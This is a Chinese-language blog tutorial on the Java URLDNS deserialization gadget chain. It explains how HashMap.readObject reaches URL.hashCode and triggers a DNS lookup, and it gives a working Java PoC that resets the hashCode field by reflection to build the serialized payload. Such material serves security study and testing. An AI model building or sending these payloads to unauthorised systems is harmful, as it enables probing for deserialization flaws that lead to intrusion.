获取中...

-

Just a minute...

原理:

根据反序列化的一般要求,首先URL类肯定是需要能实现反序列化的接口的。

图片.png

而在URL类里的hashcode方法里,会先进行一个判断,如果不是-1,那么就进入URLStreamHandler类里的hashCode方法:

图片.png

图片.png

而在这个方法里,会执行getHostAddress方法,这是根据域名解析IP地址的函数。

图片.png

结合DNS的相关知识,也就是说只要走到这个函数,就一定会发出DNS请求。

同样的,hashMap类也实现了序列化接口,图片.png

在hashMap类也重写了readObject,里面也调用了hashCode方法,也就会发出DNS请求。

图片.png

所以链子是这样的:

new hashMap—>hashmap.put(new URL(“这里放url”),1)—>serialize—>unserialize发出DNS请求

问题:

但是这样写有个问题,运行代码后发现只有在序列化的时候收到了一次DNS请求,而在反序列化的时候反而收不到DNS请求,这是因为hashMap.put方法里同样也调用了hash方法:

image-20240328112125969.png

image-20240328112136169.png

如果不修改hashCode的值,那么我们传入的url就会触发DNS请求,并被hash编码,此后并不能触发反序列化。

思考:

结合前面hashCode的-1判断,不难想到:如果能修改hashCode的值,那么就可以绕过put时hash的触发,而在put之后再把hashCode改回来,就完成整条链子了。

解决:

我们可以通过反射,修改对象属性的值。

最后的链子就是:

new hashMap—>X—>hashmap.put(new URL(“填url”),1)—>Y—>serialize—>unserialize发出DNS请求

X 为url.getClass()获取url类—>getDeclaredField(“hashCode”)获取属性hashCode—>set(url,1234)修改hashCode的值不为-1

Y 为set(url,-1)改回hashCode的值

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;


public class URLDNS {
public static void serialize(Object obj) throws IOException{ //用writeObject写序列化文件。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}


public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<URL, Integer>(); //新建hashmap对象
//这里不要发起请求,把url对象的hashCode改成不是-1
URL url = new URL("https://www.baidu.com"); //新建URL的对象
Class c = url.getClass(); //获取URL对象的类
Field hashcodefield = c.getDeclaredField("hashCode"); //获取URL对象的类中的hashCode属性
hashcodefield.setAccessible(true); //因为hashCode是private的变量,所以需要设置
hashcodefield.set(url,1234); //设置hashCode值1234
hashmap.put(url,1);
//通过反射 改变已有对象属性
hashcodefield.set(url,-1); //这里把hashCode值改回-1
serialize(hashmap);
}

}

关于hashcodefield.set(url,1234);

image-20240328111827604.png

set方法的第一个参数是属性所对应的对象,这里属性是hashcodefield,对象是url,值是1234

相关文章
评论
分享
  • JAVA反序列化——CB链

    依赖jdk:jdk8u65 CB:commons-beanutils 1.8.3 在pom.xml里添加 12345678910<dependency> <groupId>commons-beanut...

    JAVA反序列化——CB链
  • JAVA反序列化——CC7链及CC链总结

    跟CC5一样,也是利用CC1的LazyMap.get及之后的部分,也是只改了开头。 这次是利用Hashtable.readObject方法,这个类是可以序列化的。 寻找在AbstractMap类里的equals方法调用了get方法: ...

    JAVA反序列化——CC7链及CC链总结
  • JAVA反序列化——CC5链

    CC5也是在CC1的路线上改了改入口类。 从AnnotationInvocationHandler.readObject改成了BadAttributeValueExpException.readObject 沿用CC1从LazyMap...

    JAVA反序列化——CC5链
  • JAVA反序列化——另一条CC1链

    之前的CC1链是利用TransformedMap的checkSetValue方法来调用ChainedTransformer.transform 而另一种写法是利用LazyMap.get方法走动态代理来调用ChainedTransfor...

    JAVA反序列化——另一条CC1链
  • JAVA反序列化——CC2链

    详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。 123456CC4:Transformer[] tra...

    JAVA反序列化——CC2链
  • JAVA反序列化——CC4链

    新依赖: 12345<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collec...

    JAVA反序列化——CC4链
  • JAVA反序列化——CC3链

    这条链是利用动态类加载来经行代码执行。 原理根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。 因为是动态类加载,我们...

    JAVA反序列化——CC3链
  • JAVA反序列化——CC6链

    CC6链其实就是URLDNS链的前半加上CC1链的后半。 链子构建入口类跟CC1链完全一致,这里不再赘述。 在找哪里调用了ChainedTransformer.transform方法时,CC1链是找到了TransformedMap类...

    JAVA反序列化——CC6链
  • JAVA反序列化——CC1链

    前言CC1链有两种写法,我这种写法跟ysoserial里的写法不一样,另一种写法写在另一篇文章。 cc1链要求java版本小于jdk8u71 我这里用的JDK版本是8u66 因为在高版本这条链子最后的annotationInvocat...

    JAVA反序列化——CC1链
  • ByteCTF2024大师赛web部分wp

    ezobj源码: 12345678910111213141516171819<?phpini_set("display_errors", "On");include_once("...

    ByteCTF2024大师赛web部分wp